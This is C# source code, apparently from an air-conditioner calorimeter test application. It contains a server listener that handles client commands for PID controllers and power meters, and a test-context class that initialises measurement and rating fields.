DisconnectClient(ipPoint);
}
// 제어권 양보
Yield();
}
}
private void AddClient(ClientRow client)
{
server.Clients.Add(client.Ip, client);
server.ClientList.Add(client);
ResetClientIndex();
}
private void RemoveClient(ClientRow client)
{
if (server.Clients.ContainsKey(client.Ip) == true)
{
server.ClientList.Remove(client);
server.Clients.Remove(client.Ip);
ResetClientIndex();
}
}
private void ResetClientIndex()
{
List<ClientRow> clientList = server.ClientList;
for (int i=0; i<clientList.Count; i++)
{
clientList[i].Index = i + 1;
}
}
private void CommandExecute(IPEndPoint ipPoint)
{
logger.Log((int)EListenerLogItem.Receive,
"Received a Command({0}) - IArg1 : {1}, IArg2 : {2}, IArg3 : {3}, FArg1 : {4:F2} from {5}",
packet.Command.ToString(), packet.IArg1, packet.IArg2, packet.IArg3, packet.FArg1, ipPoint.ToString());
switch (packet.Command)
{
case EClientCommand.ConnectClient:
ConnectClient(ipPoint);
break;
case EClientCommand.DisconnectClient:
DisconnectClient(ipPoint);
break;
case EClientCommand.GetClientList:
GetClientList();
break;
case EClientCommand.SetClientState:
SetClientState(ipPoint);
break;
case EClientCommand.SetController:
SetController();
break;
case EClientCommand.SetPlc:
SetPlc();
break;
case EClientCommand.StartIntegrationPM:
StartIntegrationPM();
break;
case EClientCommand.StopIntegrationPM:
StopIntegrationPM();
break;
case EClientCommand.ResetIntegrationPM:
ResetIntegrationPM();
break;
case EClientCommand.SetWiringPM:
SetWiringPM();
break;
}
server.Sender.Acknowledge(ipPoint);
}
// IArg1 : Device data value scanning time(msec)
private void ConnectClient(IPEndPoint ipPoint)
{
lock (server.Clients)
{
if (server.Clients.ContainsKey(ipPoint.Address.ToString()) == true)
{
logger.Log((int)EListenerLogItem.Note,
"Found a client({0}) already existed in Client Dictionary",
ipPoint.Address.ToString());
RemoveClient(server.Clients[ipPoint.Address.ToString()]);
logger.Log((int)EListenerLogItem.Note,
"Removed a client({0}) in Client Dictionary",
ipPoint.Address.ToString());
}
AddClient(new ClientRow(ipPoint, packet.IArg1));
logger.Log((int)EListenerLogItem.Note,
"Added a client({0}) in Client Dictionary",
ipPoint.Address.ToString());
}
OnChangedClients(this, null);
}
private void DisconnectClient(IPEndPoint ipPoint)
{
lock (server.Clients)
{
logger.Log((int)EListenerLogItem.Note,
"Removed a client({0}) in Client Dictionary",
ipPoint.Address.ToString());
RemoveClient(server.Clients[ipPoint.Address.ToString()]);
}
OnChangedClients(this, null);
}
private void GetClientList()
{
}
private void SetClientState(IPEndPoint ipPoint)
{
lock (server.Clients)
{
if (server.Clients.ContainsKey(ipPoint.ToString()) == false)
{
logger.Log((int)EListenerLogItem.Note,
"Can't find a client({0}) in Client Dictionary",
ipPoint.ToString());
return;
}
ClientRow client = server.Clients[ipPoint.ToString()];
EClientState state = (EClientState)packet.IArg1;
client.State = state;
logger.Log((int)EListenerLogItem.Note,
"Changed client({0}) to {1}",
ipPoint.ToString(), state.ToString());
}
OnChangedClients(this, null);
}
private void SetController()
{
int networkNo = packet.IArg1;
int controllerNo = packet.IArg2;
EUT55ARegisterAddress regAddr = (EUT55ARegisterAddress)packet.IArg3;
float value = packet.FArg1;
if (server.Devices.Controller.Count == 0) return;
if (server.Devices.Controller[networkNo].Connected == false) return;
UlUT55AEthernetClient device = server.Devices.Controller[networkNo];
logger.Log((int)EListenerLogItem.Note,
"Changed PID Controller (IP : {0}, Port : {1}, Address : {2}, Register : {3}) to {4:F2}",
device.Ip, device.Port, controllerNo, regAddr.ToString(), value);
device.Write(controllerNo, regAddr, value);
}
private void SetPlc()
{
int index = packet.IArg1;
if (server.Devices.Plc.Count == 0) return;
if (server.Devices.Plc[index].Connected == false) return;
}
private void StartIntegrationPM()
{
int index = packet.IArg1;
if (server.Devices.PowerMeter.Count == 0) return;
if (server.Devices.PowerMeter[index].Connected == false) return;
UlWT330EthernetClient device = server.Devices.PowerMeter[index];
logger.Log((int)EListenerLogItem.Note,
"Start integration on Power Meter({0})",
device.IpPoint.ToString());
device.StartIntegration();
}
private void StopIntegrationPM()
{
int index = packet.IArg1;
if (server.Devices.PowerMeter.Count == 0) return;
if (server.Devices.PowerMeter[index].Connected == false) return;
UlWT330EthernetClient device = server.Devices.PowerMeter[index];
logger.Log((int)EListenerLogItem.Note,
"Stop integration on Power Meter({0})",
device.IpPoint.ToString());
device.StopIntegration();
}
private void ResetIntegrationPM()
{
int index = packet.IArg1;
if (server.Devices.PowerMeter.Count == 0) return;
if (server.Devices.PowerMeter[index].Connected == false) return;
UlWT330EthernetClient device = server.Devices.PowerMeter[index];
logger.Log((int)EListenerLogItem.Note,
"Reset integration on Power Meter({0})",
device.IpPoint.ToString());
device.ResetIntegration();
}
private void SetWiringPM()
{
int index = packet.IArg1;
if (server.Devices.PowerMeter.Count == 0) return;
if (server.Devices.PowerMeter[index].Connected == false) return;
EWT330Wiring wiring = (EWT330Wiring)packet.IArg2;
UlWT330EthernetClient device = server.Devices.PowerMeter[index];
logger.Log((int)EListenerLogItem.Note,
"Changed wiring on Power Meter({0}) to {2}",
device.IpPoint.ToString(), wiring.ToString());
device.SetWiring(wiring);
}
}
public class ServerReceivePacket
{
public ServerReceivePacket(int length)
{
packet = new UlBinSets(length);
}
public EClientCommand Command { get { return (EClientCommand)packet.Byte(0); } }
public int IArg1 { get { return (int)packet.DWord(1); } }
public int IArg2 { get { return (int)packet.DWord(5); } }
public int IArg3 { get { return (int)packet.DWord(9); } }
public float FArg1 { get { return BitConverter.ToSingle(packet.Bytes, 13); } }
private UlBinSets packet;
public void Clear()
{
packet.Clear();
}
public byte[] Bytes
{ get { return packet.Bytes; } }
public int Length
{ get { return packet.Count; } }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Ulee.Threading;
using Ulee.Device.Connection.Yokogawa;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
#region enums
public enum ETestButtonState
{
Started,
Paused,
Stopped
}
public enum ETestMode
{
[Description("Cooling")]
Cooling,
[Description("Heating")]
Heating
}
public enum EValueState
{
None,
Ok,
Ng
}
public enum EIndoorUse
{
[Description("Indoor")]
Indoor,
[Description("Not Used")]
NotUsed
}
public enum EIndoorMode
{
[Description("Cooling")]
Cooling,
[Description("Heating")]
Heating,
[Description("Not Used")]
NotUsed
}
public enum EIndoorDuct
{
[Description("1")]
N1,
[Description("2")]
N2,
[Description("3")]
N3,
[Description("4")]
N4,
[Description("5")]
N5,
[Description("Not Used")]
NotUsed
}
public enum EOutdoorUse
{
[Description("Outdoor")]
Outdoor,
[Description("Not Used")]
NotUsed
}
public enum EEtcUse
{
[Description("Use")]
Use,
[Description("Not Used")]
NotUsed
}
public enum EAxisAlign
{
Left,
Right
}
#endregion
#region TestContext
public class TestContext : UlThread
{
public TestContext(int handle, IntPtr wndHandle) : base(false)
{
TestThread = null;
State = ETestButtonState.Stopped;
this.Handle = handle;
this.WndHandle = wndHandle;
DB = Resource.TestDB[handle];
Value = new TestValue();
Measure = new TestMeasure(Value);
Condition = new TestCondition(Value);
Report = new TestReport(this);
}
private const long csInvalidTicks = 1000;
private const float csMinimumTemp = -99.9f;
private const float csLimitedTemp = -300.0f;
public int Handle { get; set; }
public IntPtr WndHandle { get; set; }
public CalorimeterTestThread TestThread { get; private set; }
public CalorimeterTestDatabase DB { get; private set;}
public ETestButtonState State { get; set; }
public TestCondition Condition { get; set; }
public TestMeasure Measure { get; set; }
public TestValue Value { get; set; }
public TestReport Report { get; set; }
public int Index { get; set; }
protected override void Execute()
{
long prevTicks = ElapsedMilliseconds;
while (Terminated == false)
{
if (IsTimeoutMilliseconds(prevTicks, csInvalidTicks) == true)
{
prevTicks += csInvalidTicks;
DoMeasureCalcurateValues();
}
Yield();
}
}
private void DoMeasureCalcurateValues()
{
Value.Lock();
try
{
LoadMeasuredValues();
Calcurate();
}
finally
{
Value.Unlock();
}
}
public bool IsTestThreadNull { get { return (TestThread == null) ? true : false; } }
public CalorimeterTestThread TestCreate()
{
TestThread = new CalorimeterTestThread(this);
return TestThread;
}
public void TestStart()
{
if (TestThread != null)
{
TestThread.Start();
}
}
public void TestSuspend()
{
if (TestThread != null)
{
TestThread.Suspend();
}
}
public void TestResume()
{
if (TestThread != null)
{
TestThread.Resume();
}
}
public void TestTerminate(ETestMessage msg)
{
if (TestThread != null)
{
TestThread.Terminate((int)msg, false);
}
}
public void TestReset()
{
Index = 0;
Resource.BusySets[Handle] = false;
TestThread = null;
}
public void Initialize()
{
List<ConditionRated> rateds = null;
ConditionSchedule sch = Condition.Schedules[Index];
if (sch.IndoorMode == EIndoorMode.NotUsed)
{
Measure.TotalRateds[(int)EMeasTotalRated.TotalCapacity].Row = null;
Measure.TotalRateds[(int)EMeasTotalRated.TotalPowerInput].Row = null;
Measure.TotalRateds[(int)EMeasTotalRated.TotalEER_COP].Row = null;
Measure.TotalRateds[(int)EMeasTotalRated.TotalRatedCapacity].Row = null;
Measure.TotalRateds[(int)EMeasTotalRated.TotalCapacityRatio].Row = null;
Measure.TotalRateds[(int)EMeasTotalRated.TotalRatedPowerInput].Row = null;
Measure.TotalRateds[(int)EMeasTotalRated.TotalPowerInputRatio].Row = null;
Measure.TotalRateds[(int)EMeasTotalRated.TotalRatedEER_COP].Row = null;
Measure.TotalRateds[(int)EMeasTotalRated.TotalEER_COPRatio].Row = null;
Measure.TotalRateds[(int)EMeasTotalRated.TotalRatedCurrent].Row = null;
Measure.TotalRateds[(int)EMeasTotalRated.TotalCurrentRatio].Row = null;
}
else
{
rateds = Condition.Rateds[EConditionRated.Total];
Value.Const["Total.Rated.Capacity"].Value = rateds[(int)sch.IndoorMode].Capacity;
Value.Const["Total.Rated.Power"].Value = rateds[(int)sch.IndoorMode].PowerInput;
Value.Const["Total.Rated.EER_COP"].Value = rateds[(int)sch.IndoorMode].EER_COP;
Value.Const["Total.Rated.Voltage"].Value = rateds[(int)sch.IndoorMode].Voltage;
Value.Const["Total.Rated.Current"].Value = rateds[(int)sch.IndoorMode].Current;
try
{
if (string.IsNullOrWhiteSpace(rateds[(int)sch.IndoorMode].Frequency) == true)
Value.Const["Total.Rated.Frequency"].Value = 0;
else
Value.Const["Total.Rated.Frequency"].Value = float.Parse(rateds[(int)sch.IndoorMode].Frequency);
}
catch
{
Value.Const["Total.Rated.Frequency"].Value = 0;
}
Measure.TotalRateds[(int)EMeasTotalRated.TotalCapacity].Row = Value.Calcurated["Total.Capacity"];
Measure.TotalRateds[(int)EMeasTotalRated.TotalPowerInput].Row = Value.Calcurated["Total.Power"];
Measure.TotalRateds[(int)EMeasTotalRated.TotalEER_COP].Row = Value.Calcurated["Total.EER_COP"];
Measure.TotalRateds[(int)EMeasTotalRated.TotalRatedCapacity].Row = Value.Const["Total.Rated.Capacity"];
Measure.TotalRateds[(int)EMeasTotalRated.TotalCapacityRatio].Row = Value.Calcurated["Total.Capacity.Ratio"];
Measure.TotalRateds[(int)EMeasTotalRated.TotalRatedPowerInput].Row = Value.Const["Total.Rated.Power"];
Measure.TotalRateds[(int)EMeasTotalRated.TotalPowerInputRatio].Row = Value.Calcurated["Total.Power.Ratio"];
Measure.TotalRateds[(int)EMeasTotalRated.TotalRatedEER_COP].Row = Value.Const["Total.Rated.EER_COP"];
Measure.TotalRateds[(int)EMeasTotalRated.TotalEER_COPRatio].Row = Value.Calcurated["Total.EER_COP.Ratio"];
Measure.TotalRateds[(int)EMeasTotalRated.TotalRatedCurrent].Row = Value.Const["Total.Rated.Current"];
Measure.TotalRateds[(int)EMeasTotalRated.TotalCurrentRatio].Row = Value.Calcurated["Total.Current.Ratio"];
}
Measure.TotalRateds[(int)EMeasTotalRated.IDU_PowerInput].Row = Value.Calcurated["Total.IDU.Power"];
Measure.TotalRateds[(int)EMeasTotalRated.IDU_Voltage].Row = Value.Calcurated["Total.IDU.Voltage"];
Measure.TotalRateds[(int)EMeasTotalRated.IDU_Current].Row = Value.Calcurated["Total.IDU.Current"];
Measure.TotalRateds[(int)EMeasTotalRated.IDU_Frequency].Row = Value.Calcurated["Total.IDU.Frequency"];
Measure.TotalRateds[(int)EMeasTotalRated.IDU_PowerFactor].Row = Value.Calcurated["Total.IDU.Power.Factor"];
Measure.TotalRateds[(int)EMeasTotalRated.IDU_IntegPowerInput].Row = Value.Calcurated["Total.IDU.Integ.Power"];
Measure.TotalRateds[(int)EMeasTotalRated.IDU_IntegTime].Row = Value.Calcurated["Total.IDU.Integ.Time"];
Value.Calcurated["Total.IDU.Integ.Time"].Unit.To = (int)EUnitTime.min;
Measure.TotalRateds[(int)EMeasTotalRated.ODU_PowerInput].Row = Value.Calcurated["Total.ODU.Power"];
Measure.TotalRateds[(int)EMeasTotalRated.ODU_Voltage].Row = Value.Calcurated["Total.ODU.Voltage"];
Measure.TotalRateds[(int)EMeasTotalRated.ODU_Current].Row = Value.Calcurated["Total.ODU.Current"];
Measure.TotalRateds[(int)EMeasTotalRated.ODU_Frequency].Row = Value.Calcurated["Total.ODU.Frequency"];
Measure.TotalRateds[(int)EMeasTotalRated.ODU_PowerFactor].Row = Value.Calcurated["Total.ODU.Power.Factor"];
Measure.TotalRateds[(int)EMeasTotalRated.ODU_IntegPowerInput].Row = Value.Calcurated["Total.ODU.Integ.Power"];
Measure.TotalRateds[(int)EMeasTotalRated.ODU_IntegTime].Row = Value.Calcurated["Total.ODU.Integ.Time"];
Value.Calcurated["Total.ODU.Integ.Time"].Unit.To = (int)EUnitTime.min;
if (sch.IndoorMode == EIndoorMode.NotUsed)
{
Measure.Rateds[(int)EMeasRated.Capacity].Row = null;
Measure.Rateds[(int)EMeasRated.PowerInput].Row = null;
Measure.Rateds[(int)EMeasRated.EER_COP].Row = null;
Measure.Rateds[(int)EMeasRated.IDU_Voltage].Row = null;
Measure.Rateds[(int)EMeasRated.IDU_Current].Row = null;
Measure.Rateds[(int)EMeasRated.IDU_Frequency].Row = null;
Measure.Rateds[(int)EMeasRated.IDU_SelectedPM].Row = null;
Measure.Rateds[(int)EMeasRated.ODU_SelectedPM].Row = null;
Measure.Rateds[(int)EMeasRated.ODU_Phase].Row = null;
}
else
{
Measure.Rateds[(int)EMeasRated.Capacity].Row = Value.Const["Total.Rated.Capacity"];
Measure.Rateds[(int)EMeasRated.PowerInput].Row = Value.Const["Total.Rated.Power"];
Measure.Rateds[(int)EMeasRated.EER_COP].Row = Value.Const["Total.Rated.EER_COP"];
Measure.Rateds[(int)EMeasRated.IDU_Voltage].Row = Value.Const["Total.Rated.Voltage"];
Measure.Rateds[(int)EMeasRated.IDU_Current].Row = Value.Const["Total.Rated.Current"];
Measure.Rateds[(int)EMeasRated.IDU_Frequency].Row = Value.Const["Total.Rated.Frequency"];
Measure.Rateds[(int)EMeasRated.IDU_SelectedPM].Value = GetNameIDU(rateds[(int)sch.IndoorMode].PM_IDU);
Measure.Rateds[(int)EMeasRated.ODU_SelectedPM].Value = GetNameODU(rateds[(int)sch.IndoorMode].PM_ODU);
Measure.Rateds[(int)EMeasRated.ODU_Phase].Value = EnumHelper.GetNames<EWT330Wiring>()[(int)rateds[(int)sch.IndoorMode].Wiring];
}
List<CoefficientDataRow> coeffs = Resource.Settings.Coefficients;
Measure.Nozzles[(int)EMeasNozzle.Nozzle1].SetDiameter(coeffs[0].Nozzle1, coeffs[1].Nozzle1, coeffs[2].Nozzle1, coeffs[3].Nozzle1);
Measure.Nozzles[(int)EMeasNozzle.Nozzle2].SetDiameter(coeffs[0].Nozzle2, coeffs[1].Nozzle2, coeffs[2].Nozzle2, coeffs[3].Nozzle2);
Measure.Nozzles[(int)EMeasNozzle.Nozzle3].SetDiameter(coeffs[0].Nozzle3, coeffs[1].Nozzle3, coeffs[2].Nozzle3, coeffs[3].Nozzle3);
Measure.Nozzles[(int)EMeasNozzle.Nozzle4].SetDiameter(coeffs[0].Nozzle4, coeffs[1].Nozzle4, coeffs[2].Nozzle4, coeffs[3].Nozzle4);
if (sch.Indoor1Use == EIndoorUse.NotUsed)
{
foreach (EMeasAirSide airSide in Enum.GetValues(typeof(EMeasAirSide)))
{
Measure.AirSides[(int)airSide].Indoor11Enabled = false;
Measure.AirSides[(int)airSide].Indoor12Enabled = false;
}
foreach (EMeasNozzle nozzle in Enum.GetValues(typeof(EMeasNozzle)))
{
Measure.Nozzles[(int)nozzle].ID11Enabled = false;
Measure.Nozzles[(int)nozzle].ID12Enabled = false;
}
}
else
{
if (sch.Indoor1Mode == EIndoorMode.NotUsed)
{
foreach (EMeasAirSide airSide in Enum.GetValues(typeof(EMeasAirSide)))
{
Measure.AirSides[(int)airSide].Indoor11Enabled = false;
Measure.AirSides[(int)airSide].Indoor12Enabled = false;
}
Measure.AirSides[(int)EMeasAirSide.EnteringDB].Indoor11Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringWB].Indoor11Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringRH].Indoor11Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingDB].Indoor11Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingWB].Indoor11Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingRH].Indoor11Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringDB].Indoor12Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringWB].Indoor12Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringRH].Indoor12Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingDB].Indoor12Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingWB].Indoor12Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingRH].Indoor12Enabled = true;
foreach (EMeasNozzle nozzle in Enum.GetValues(typeof(EMeasNozzle)))
{
Measure.Nozzles[(int)nozzle].ID11Enabled = false;
Measure.Nozzles[(int)nozzle].ID12Enabled = false;
}
}
else
{
if (sch.Indoor1Mode1 == EIndoorMode.NotUsed)
{
foreach (EMeasAirSide airSide in Enum.GetValues(typeof(EMeasAirSide)))
{
Measure.AirSides[(int)airSide].Indoor11Enabled = false;
}
Measure.AirSides[(int)EMeasAirSide.EnteringDB].Indoor11Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringWB].Indoor11Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringRH].Indoor11Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingDB].Indoor11Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingWB].Indoor11Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingRH].Indoor11Enabled = true;
foreach (EMeasNozzle nozzle in Enum.GetValues(typeof(EMeasNozzle)))
{
Measure.Nozzles[(int)nozzle].ID11Enabled = false;
}
}
else
{
foreach (EMeasAirSide airSide in Enum.GetValues(typeof(EMeasAirSide)))
{
Measure.AirSides[(int)airSide].Indoor11Enabled = true;
}
foreach (EMeasNozzle nozzle in Enum.GetValues(typeof(EMeasNozzle)))
{
Measure.Nozzles[(int)nozzle].ID11Enabled = true;
}
}
if (sch.Indoor1Mode2 == EIndoorMode.NotUsed)
{
foreach (EMeasAirSide airSide in Enum.GetValues(typeof(EMeasAirSide)))
{
Measure.AirSides[(int)airSide].Indoor12Enabled = false;
}
Measure.AirSides[(int)EMeasAirSide.EnteringDB].Indoor12Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringWB].Indoor12Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringRH].Indoor12Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingDB].Indoor12Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingWB].Indoor12Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingRH].Indoor12Enabled = true;
foreach (EMeasNozzle nozzle in Enum.GetValues(typeof(EMeasNozzle)))
{
Measure.Nozzles[(int)nozzle].ID12Enabled = false;
}
}
else
{
foreach (EMeasAirSide airSide in Enum.GetValues(typeof(EMeasAirSide)))
{
Measure.AirSides[(int)airSide].Indoor12Enabled = true;
}
foreach (EMeasNozzle nozzle in Enum.GetValues(typeof(EMeasNozzle)))
{
Measure.Nozzles[(int)nozzle].ID12Enabled = true;
}
}
}
}
if (sch.Indoor2Use == EIndoorUse.NotUsed)
{
foreach (EMeasAirSide airSide in Enum.GetValues(typeof(EMeasAirSide)))
{
Measure.AirSides[(int)airSide].Indoor21Enabled = false;
Measure.AirSides[(int)airSide].Indoor22Enabled = false;
}
foreach (EMeasNozzle nozzle in Enum.GetValues(typeof(EMeasNozzle)))
{
Measure.Nozzles[(int)nozzle].ID21Enabled = false;
Measure.Nozzles[(int)nozzle].ID22Enabled = false;
}
}
else
{
if (sch.Indoor2Mode == EIndoorMode.NotUsed)
{
foreach (EMeasAirSide airSide in Enum.GetValues(typeof(EMeasAirSide)))
{
Measure.AirSides[(int)airSide].Indoor21Enabled = false;
Measure.AirSides[(int)airSide].Indoor22Enabled = false;
}
Measure.AirSides[(int)EMeasAirSide.EnteringDB].Indoor21Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringWB].Indoor21Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringRH].Indoor21Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingDB].Indoor21Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingWB].Indoor21Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingRH].Indoor21Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringDB].Indoor22Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringWB].Indoor22Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringRH].Indoor22Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingDB].Indoor22Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingWB].Indoor22Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingRH].Indoor22Enabled = true;
foreach (EMeasNozzle nozzle in Enum.GetValues(typeof(EMeasNozzle)))
{
Measure.Nozzles[(int)nozzle].ID21Enabled = false;
Measure.Nozzles[(int)nozzle].ID22Enabled = false;
}
}
else
{
if (sch.Indoor2Mode1 == EIndoorMode.NotUsed)
{
foreach (EMeasAirSide airSide in Enum.GetValues(typeof(EMeasAirSide)))
{
Measure.AirSides[(int)airSide].Indoor21Enabled = false;
}
Measure.AirSides[(int)EMeasAirSide.EnteringDB].Indoor21Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringWB].Indoor21Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringRH].Indoor21Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingDB].Indoor21Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingWB].Indoor21Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingRH].Indoor21Enabled = true;
foreach (EMeasNozzle nozzle in Enum.GetValues(typeof(EMeasNozzle)))
{
Measure.Nozzles[(int)nozzle].ID21Enabled = false;
}
}
else
{
foreach (EMeasAirSide airSide in Enum.GetValues(typeof(EMeasAirSide)))
{
Measure.AirSides[(int)airSide].Indoor21Enabled = true;
}
foreach (EMeasNozzle nozzle in Enum.GetValues(typeof(EMeasNozzle)))
{
Measure.Nozzles[(int)nozzle].ID21Enabled = true;
}
}
if (sch.Indoor2Mode2 == EIndoorMode.NotUsed)
{
foreach (EMeasAirSide airSide in Enum.GetValues(typeof(EMeasAirSide)))
{
Measure.AirSides[(int)airSide].Indoor22Enabled = false;
}
Measure.AirSides[(int)EMeasAirSide.EnteringDB].Indoor22Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringWB].Indoor22Enabled = true;
Measure.AirSides[(int)EMeasAirSide.EnteringRH].Indoor22Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingDB].Indoor22Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingWB].Indoor22Enabled = true;
Measure.AirSides[(int)EMeasAirSide.LeavingRH].Indoor22Enabled = true;
foreach (EMeasNozzle nozzle in Enum.GetValues(typeof(EMeasNozzle)))
{
Measure.Nozzles[(int)nozzle].ID22Enabled = false;
}
}
else
{
foreach (EMeasAirSide airSide in Enum.GetValues(typeof(EMeasAirSide)))
{
Measure.AirSides[(int)airSide].Indoor22Enabled = true;
}
foreach (EMeasNozzle nozzle in Enum.GetValues(typeof(EMeasNozzle)))
{
Measure.Nozzles[(int)nozzle].ID22Enabled = true;
}
}
}
}
if (sch.OutdoorUse == EOutdoorUse.NotUsed)
{
Measure.Outsides[(int)EMeasOutside.EnteringDB].Value = "-";
Measure.Outsides[(int)EMeasOutside.EnteringWB].Value = "-";
Measure.Outsides[(int)EMeasOutside.EnteringDP].Value = "-";
Measure.Outsides[(int)EMeasOutside.EnteringRH].Value = "-";
}
else
{
Measure.Outsides[(int)EMeasOutside.EnteringDB].Value = "";
Measure.Outsides[(int)EMeasOutside.EnteringWB].Value = "";
Measure.Outsides[(int)EMeasOutside.EnteringDP].Value = "";
Measure.Outsides[(int)EMeasOutside.EnteringRH].Value = "";
}
// Note
Measure.Notes[(int)EMeasNote.Company].Value = Condition.Note.Company;
Measure.Notes[(int)EMeasNote.TestName].Value = Condition.Note.Name;
Measure.Notes[(int)EMeasNote.TestNo].Value = Condition.Note.No;
Measure.Notes[(int)EMeasNote.Observer].Value = Condition.Note.Observer;
Measure.Notes[(int)EMeasNote.Maker].Value = Condition.Note.Maker;
Measure.Notes[(int)EMeasNote.Model1].Value = Condition.Note.Model1;
Measure.Notes[(int)EMeasNote.SerialNo1].Value = Condition.Note.Serial1;
Measure.Notes[(int)EMeasNote.Model2].Value = Condition.Note.Model2;
Measure.Notes[(int)EMeasNote.SerialNo2].Value = Condition.Note.Serial2;
Measure.Notes[(int)EMeasNote.Model3].Value = Condition.Note.Model3;
Measure.Notes[(int)EMeasNote.SerialNo3].Value = Condition.Note.Serial3;
Measure.Notes[(int)EMeasNote.ExpDevice].Value = Condition.Note.ExpDevice;
Measure.Notes[(int)EMeasNote.Refrigerant].Value = Condition.Note.Refrigerant;
Measure.Notes[(int)EMeasNote.RefCharge].Value = Condition.Note.RefCharge;
Measure.Notes[(int)EMeasNote.Memo].Value = Condition.Note.Memo;
// Method
Measure.Methods[(int)EMeasMethod.Method].Value = $"{Condition.Method.IntegralTime}min / {Condition.Method.IntegralCount}times";
Measure.Methods[(int)EMeasMethod.ScanTime].Value = $"{Condition.Method.ScanTime} sec";
//Indoor1 #1
Measure.Indoors11[(int)EMeasIndoor.Use].Value = EnumHelper.GetNames<EIndoorUse>()[(int)sch.Indoor1Use];
Measure.Indoors11[(int)EMeasIndoor.Mode].Value = EnumHelper.GetNames<EIndoorMode>()[(int)sch.Indoor1Mode1];
Measure.Indoors11[(int)EMeasIndoor.Duct].Value = EnumHelper.GetNames<EIndoorDuct>()[(int)sch.Indoor1Duct1];
Measure.Indoors11[(int)EMeasIndoor.DB].Value = sch.Indoor1DB.ToString("0.00");
Measure.Indoors11[(int)EMeasIndoor.DB].Unit = Condition.Method.Temperature.ToDescription();
Measure.Indoors11[(int)EMeasIndoor.WB].Value = sch.Indoor1WB.ToString("0.00");
Measure.Indoors11[(int)EMeasIndoor.WB].Unit = Condition.Method.Temperature.ToDescription();
//Indoor1 #2
Measure.Indoors12[(int)EMeasIndoor.Use].Value = EnumHelper.GetNames<EIndoorUse>()[(int)sch.Indoor1Use];
Measure.Indoors12[(int)EMeasIndoor.Mode].Value = EnumHelper.GetNames<EIndoorMode>()[(int)sch.Indoor1Mode2];
Measure.Indoors12[(int)EMeasIndoor.Duct].Value = EnumHelper.GetNames<EIndoorDuct>()[(int)sch.Indoor1Duct2];
Measure.Indoors12[(int)EMeasIndoor.DB].Value = sch.Indoor1DB.ToString("0.00");
Measure.Indoors12[(int)EMeasIndoor.DB].Unit = Condition.Method.Temperature.ToDescription();
Measure.Indoors12[(int)EMeasIndoor.WB].Value = sch.Indoor1WB.ToString("0.00");
Measure.Indoors12[(int)EMeasIndoor.WB].Unit = Condition.Method.Temperature.ToDescription();
//Indoor2 #1
Measure.Indoors21[(int)EMeasIndoor.Use].Value = EnumHelper.GetNames<EIndoorUse>()[(int)sch.Indoor2Use];
Measure.Indoors21[(int)EMeasIndoor.Mode].Value = EnumHelper.GetNames<EIndoorMode>()[(int)sch.Indoor2Mode1];
Measure.Indoors21[(int)EMeasIndoor.Duct].Value = EnumHelper.GetNames<EIndoorDuct>()[(int)sch.Indoor2Duct1];
Measure.Indoors21[(int)EMeasIndoor.DB].Value = sch.Indoor2DB.ToString("0.00");
Measure.Indoors21[(int)EMeasIndoor.DB].Unit = Condition.Method.Temperature.ToDescription();
Measure.Indoors21[(int)EMeasIndoor.WB].Value = sch.Indoor2WB.ToString("0.00");
Measure.Indoors21[(int)EMeasIndoor.WB].Unit = Condition.Method.Temperature.ToDescription();
//Indoor2 #2
Measure.Indoors22[(int)EMeasIndoor.Use].Value = EnumHelper.GetNames<EIndoorUse>()[(int)sch.Indoor2Use];
Measure.Indoors22[(int)EMeasIndoor.Mode].Value = EnumHelper.GetNames<EIndoorMode>()[(int)sch.Indoor2Mode2];
Measure.Indoors22[(int)EMeasIndoor.Duct].Value = EnumHelper.GetNames<EIndoorDuct>()[(int)sch.Indoor2Duct2];
Measure.Indoors22[(int)EMeasIndoor.DB].Value = sch.Indoor2DB.ToString("0.00");
Measure.Indoors22[(int)EMeasIndoor.DB].Unit = Condition.Method.Temperature.ToDescription();
Measure.Indoors22[(int)EMeasIndoor.WB].Value = sch.Indoor2WB.ToString("0.00");
Measure.Indoors22[(int)EMeasIndoor.WB].Unit = Condition.Method.Temperature.ToDescription();
//Outdoor
